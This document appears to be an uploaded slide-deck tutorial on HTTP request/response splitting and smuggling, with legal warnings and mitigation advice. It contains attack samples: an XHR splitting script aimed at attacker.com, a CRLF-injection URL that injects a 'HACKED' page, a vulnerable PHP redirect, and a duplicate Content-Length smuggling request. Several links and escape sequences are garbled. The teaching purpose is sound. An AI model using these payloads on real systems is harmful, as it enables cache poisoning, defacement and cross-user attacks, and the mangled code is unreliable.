Cyber Security-Ethical Hacking

By Viral Parmar(#veerskyfire)
CEO Founder Comexpo Cyber Security

Computer security is information security as applied to computers and computer
networks. This field covers all the processes and mechanisms by which computer-based
equipment, information and services are protected from unintended or unauthorized
access, change or destruction. Computer security also includes protection from unplanned
events and natural disasters.
Always remember: Know hAckiNG, but no HaCKing.

In the computer security context, a hacker is someone who seeks and exploits weaknesses in a computer
system or computer network. Hackers may be motivated by a multitude of reasons, such as profit,
protest, or challenge.
Word hacker exist that are not related to computer security, such as referring to someone with an
advanced understanding of computers and computer networks.
They are rarely used in mainstream context. They are subject to the long standing hacker definition
controversy about the true meaning of the term hacker. In this controversy, the term hacker is reclaimed
by computer programmers who argue that someone breaking into computers is better called a cracker.
not making a difference between computer criminals (black hats) and computer security experts (white
hats).
Some white hat hackers claim that they also deserve the title hacker, and that only black hats should be
called crackers.

Warning: The attack techniques discussed are intended only as information to help you secure your Web
application. Do NOT attempt to use any of these techniques on any server on the Internet, at your
workplace, on any network or server that you do not own yourself — unless you have written permission
from the owner of the server and network to conduct such testing! Indian law provides for prosecution,
fines, and even jail terms for breaking into computers that you do not own.
Also note that if you have a website of your own, hosted by a hosting provider, or on a rented physical
server, the server and network do NOT belong to you even though you own the website content. You should
ideally obtain permission from such hosting providers/server owners to carry out even “testing” probes on
your own website/Web application.
The ideal way to test your Web application would be on your own private LAN—or even better, to create a
virtual machine on your personal computer, in which you run Apache and a database server, and host a
copy of your Web application. You can then do your testing against the virtual machine, without running
afoul of cyber laws.

This topic focuses on attacks exploiting the HTTP message architecture in the client-
proxy-server system.

Intercepting HTTP messages has always been high on the priority list of attackers.
Their focus is on what’s going on between the server and the client. The presence
of intermediaries such as cache servers, firewalls, or reverse proxy servers, could
make for highly non-secure communication. Attacks that deal with the interception
of HTTP messages are:
• HTTP request splitting
• HTTP response splitting
• HTTP request smuggling
• HTTP response smuggling

Two mechanisms have been exploited to date, for this attack: the XmlHttpRequest object (XHR for short)
and the HTTP digest authentication mechanism.
XmlHttpRequest is a JavaScript object that allows client-side JavaScript code to send almost raw HTTP
requests to the origin host, and to access the response body in raw form. As such, XmlHttpRequest is a
core component of AJAX.
<script>
var x = new ActiveXObject("Microsoft.XMLHTTP");
//var x = new XMLHttpRequest();
x.open("GETthttp://www.attacker.com/page1.htmltHTTP/1.0rn
Host:twww.attacker.comrn
Proxy-Connection:tKeep-AlivernrnGET","http://www.attacker.com/page2.html",false);
x.send();
//x.send("");
window.open("http://www.example.com/index.html");
</script>
Note: The above code will work for Internet Explorer; the modifications required for Mozilla are
commented so you can just uncomment them as required

However, the forward proxy server will receive the following request:
GETthttp://www.attacker.com/page1.htmltHTTP/1.0
Host:twww.attacker.com
Proxy-Connection:tKeep-Alive
GET http://www.attacker.com/page2.html HTTP/1.0
Host: www.attacker.com
......
......
Content-Type: text/html
Connection: Keep-Alive
Hence, it will respond with two HTTP responses. The first response (http://www.attacker.com/page1.html) will be
consumed by the XHR object itself, and the second (http://www.attacker.com/page2.html) will wait in the browser’s
response queue until the browser requests http://www.example.com/index.html (because window.open()will now
execute). Now, the browser will match the response fromhttp://www.attacker.com/page2.html to the request for the
URLhttp://www.target.com/index.html, and will display the attacker’s page in the window, with that URL!!

Though HTTP request splitting is a very rare attack, still, the following recommendations should be taken
seriously:
• It is good if site owners use SSL for protection.
• Eliminating XSS entirely will definitely help a lot.
• There are also suggestions for blocking HTTP/1.0 requests to the Web server. Though this will work, it will also
block the entry of the Web crawlers and spiders of major search engines, because those mostly use HTTP/1.0.
• Follow the security tips given for the previous attacks (especially parsing all the user input for CRLFs).

• Also known as a CRLF(Carriage Return Line Feed) injection, this attack
causes a vulnerable Web server to respond to a maliciously crafted
request by sending an HTTP response stream which is interpreted as
two separate responses instead of a single one. This is possible when
user-controlled input is used, without validation, as part of the
response headers. An attacker can have the victim interpret the
injected header as being a response to a second dummy request,
thereby causing the crafted contents to be displayed, and possibly
cached.

Identifies user-controllable input that causes arbitrary HTTP header injection.
Crafts a malicious input consisting of data to terminate the original response and
start a second response with headers controlled by the attacker.
Causes the victim to send two requests to the server. The first request consists of
maliciously crafted input to be used as part of HTTP response headers, and the
second is a dummy request so that the victim interprets the split response as
belonging to the second request.

This attack is generally carried out in Web applications by injecting malicious or unexpected
characters in user input, which is used for a 3xx Redirect, in the Location or Set−Cookie header.
It is mainly possible due to the lack of validation of user input, for characters such as
CR (Carriage Return= %0d = r)
and LF (Line Feed= %0a = n).
In such Web applications, a code such as rn is injected in one of its many encoded forms.
<?php
header ("Location: " . $_GET['page']);
?>
Requests to this page such
as http://test.example.com/~arpit/redirect.php?page=http://www.example.com would redirect the
user’s browser tohttp://www.example.com. Let’s look at the HTTP headers during this session

Now, an attacker might use the %0d%0a characters to poison the header, by injecting something like
what’s given below:
http://test.example.com/~viral/redirect.php?page=%0d%0aContent−Type:text/html%0d%0aHTTP/1.1
200 OK%0d%0aContent−Type: text/html%0d%0aContent-
Length:%206%0d%0a%0d%0a%3Chtml%3EHACKED%3C/html%3E.
The injected code is :
rn
Content−Type: text/htmlrn
HTTP/1.1 200 OKrn
Content−Type: text/htmlrn
Content-Length: 6rn
rn
<html>HACKED</html>

This example is a simple case of XSS exploitation using an HTTP response-splitting vulnerability. Apart from
this, an attacker can also do Web cache poisoning, cross-user attacks, and browser cache poisoning.
Cross user attacks: In cross-user attacks, the second response sent by the Web server may be
misinterpreted as a response to a different request, possibly one made by another user sharing the same
TCP connection with the server. In this way, a request from one user is served to another.
To perform cache poisoning, the attacker will simply add a “Last-Modified” header in the injected part (to
cache the malicious Web page as long as the Last-Modified header, it is sent with a date ahead of the
current date). Moreover, adding Cache-Control: no-cache and/or Pragma: no-cache in the injected part will
cause non-cached websites to be added to the cache.

This vulnerability in Web applications may lead to defacement through Web-cache poisoning, and to
cross-site scripting vulnerabilities, but the following methods can help curb it:
• The best way to avoid HTTP splitting vulnerabilities is to parse all user inputs for CR/LF,
i.e,rn, %0d%0a, or any other forms of encoding these (or other such malicious characters),
before using them in any kind of HTTP headers.
• Properly escaping the URI at every place where it is present in the HTTP message, like in the HTTP
Location Header; then CRLF (/r, /n) will not be parsed by the browser.
• The myth that using SSL saves one from attacks is not true; it still leaves the browser cache and
post-SSL termination uncovered. Don’t rely on SSL to save you from this attack.

HTTP request smuggling attacks are aimed at distributed systems that handle HTTP requests (especially
those that contain embedded requests) in different ways. Such differences can be exploited in servers or
applications that pass HTTP requests along to another server, directly — like proxies, cache servers, or
firewalls.
Why does it work? Request smuggling exploits the way in which HTTP end-points parse and interpret the
protocol, and counts on the lax enforcement of the HTTP specification (RFC 2616). RFC 2616 specifies that
there should be one, and only one, Content-Length header.
But, by using multiple Content-Length headers, it is possible to confuse proxies and bypass some Web
application firewalls, because of the way in which they interpret the HTTP headers. This is partly because
RFC 2616 does not specify the behaviour of an endpoint when receiving multiple HTTP headers, and
partly because end-points have always been more forgiving of clients that take liberties with the HTTP
protocol than they should be.

This particular case depicts the Web-cache-poisoning attack that uses request smuggling. It involves sending a set of
HTTP requests to a system comprising of a Web server (www.example.com) and a caching-proxy server. Here, the
attacker’s goal is to make the cache server cache the content of www.example.com/resource_denied.html instead
ofwww.example.com/welcome.html.
Note: For a successful request-smuggling attack, there should be an XSS vulnerability in the Web application.
The attack involves sending an HTTP POST request with multiple Content-Length headers. The attacker sends the
following to the proxy server:
POST http://www.example.com/some.html HTTP/1.1
Host: www.example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Content-Length: 39
GET /resource_denied.html HTTP/1.1
Blah: GET http://www.example.com/welcome.html HTTP/1.1
Host: www.example.com

• Install Web application firewalls, which protect against HRS attacks. A few firewalls are still vulnerable to
HRS attacks; check with the firewall vendors whether their products offer protection against HRS or not.
• Apply strong session-management techniques. Terminate the session after each request.
• Turn off TCP connection sharing on the intermediate devices. TCP connection sharing improves
performance, but allows attackers to smuggle HTTP requests.
• Turn on non-cache for all pages. For more details refer to www.web-caching.com.

This is an attack that occurs very rarely. In this case, an attacker smuggles two HTTP responses from a
server to a client, through an intermediary HTTP device that allows a single response from the server. To do
this, it takes advantage of inconsistent or incorrect interpretations of the HTTP protocol by various applications.
For example, it might use different block-terminating characters (CR or LF alone), adding duplicate header
fields that browsers interpret as belonging to separate responses, or other techniques. The consequences of
this attack can include response-splitting, cross-site scripting, apparent defacement of targeted sites, cache
poisoning or similar actions.
This attack is most useful in evading anti-HTTP-response-splitting (anti-HRS) mechanisms. For this to
happen, the targeted server must allow the attacker to insert content that will appear in the server’s response.
HTTP response smuggling makes use of HTTP request smuggling-like techniques to exploit the discrepancies
between what an anti-HRS mechanism (or a proxy server) would consider to be the HTTP response stream, and
the response stream as parsed by a proxy server (or a browser). So, while an anti-HRS mechanism may consider
a particular response stream harmless (a single HTTP response), a proxy/browser may still parse it as two HTTP
responses, and hence be susceptible to all the outcomes of the original HTTP-response-splitting technique (in
the first use case), or be susceptible to page spoofing (in the second case).

For example, some anti-HRS mechanisms in use by certain application engines forbid the
application from inserting a header containing CR+LF to the response. Yet, an attacker can force the
application to insert a header containing LFs only, or CRs only, thereby circumventing the defense
mechanism. Some proxy servers may still treat CR (only) as a header (and response) separator, and
as such, the combination of the Web server and proxy server will still be vulnerable to an attack that
may poison the proxy’s cache
Now, since this attack has a lot more dependencies (which is why it is rare) I request you to
visit the resources below to get a good hold on this. As for security measures, strictly adhere to
interpretations of HTTP messages wherever possible. (Remember: no CRs and no LFs.) Moreover,
encoding header information provided by user input (so that user-supplied content is not
interpreted by intermediaries) is also a good way to handle the attack. Finally, reject any non RFC-
compliant responses.
All the examples and attack scenarios explained above are just for educational purposes. I
once again stress that neither I nor LFY aim to teach readers how to attack servers. Rather, the
attack techniques are meant to give you the knowledge that you need to protect your own
infrastructure.

Cyber Security-Ethical Hacking

Recommended

More Related Content

What's hot (18)

Viewers also liked (7)

Similar to Cyber Security-Ethical Hacking (20)

More from Viral Parmar (14)

Recently uploaded (20)

Cyber Security-Ethical Hacking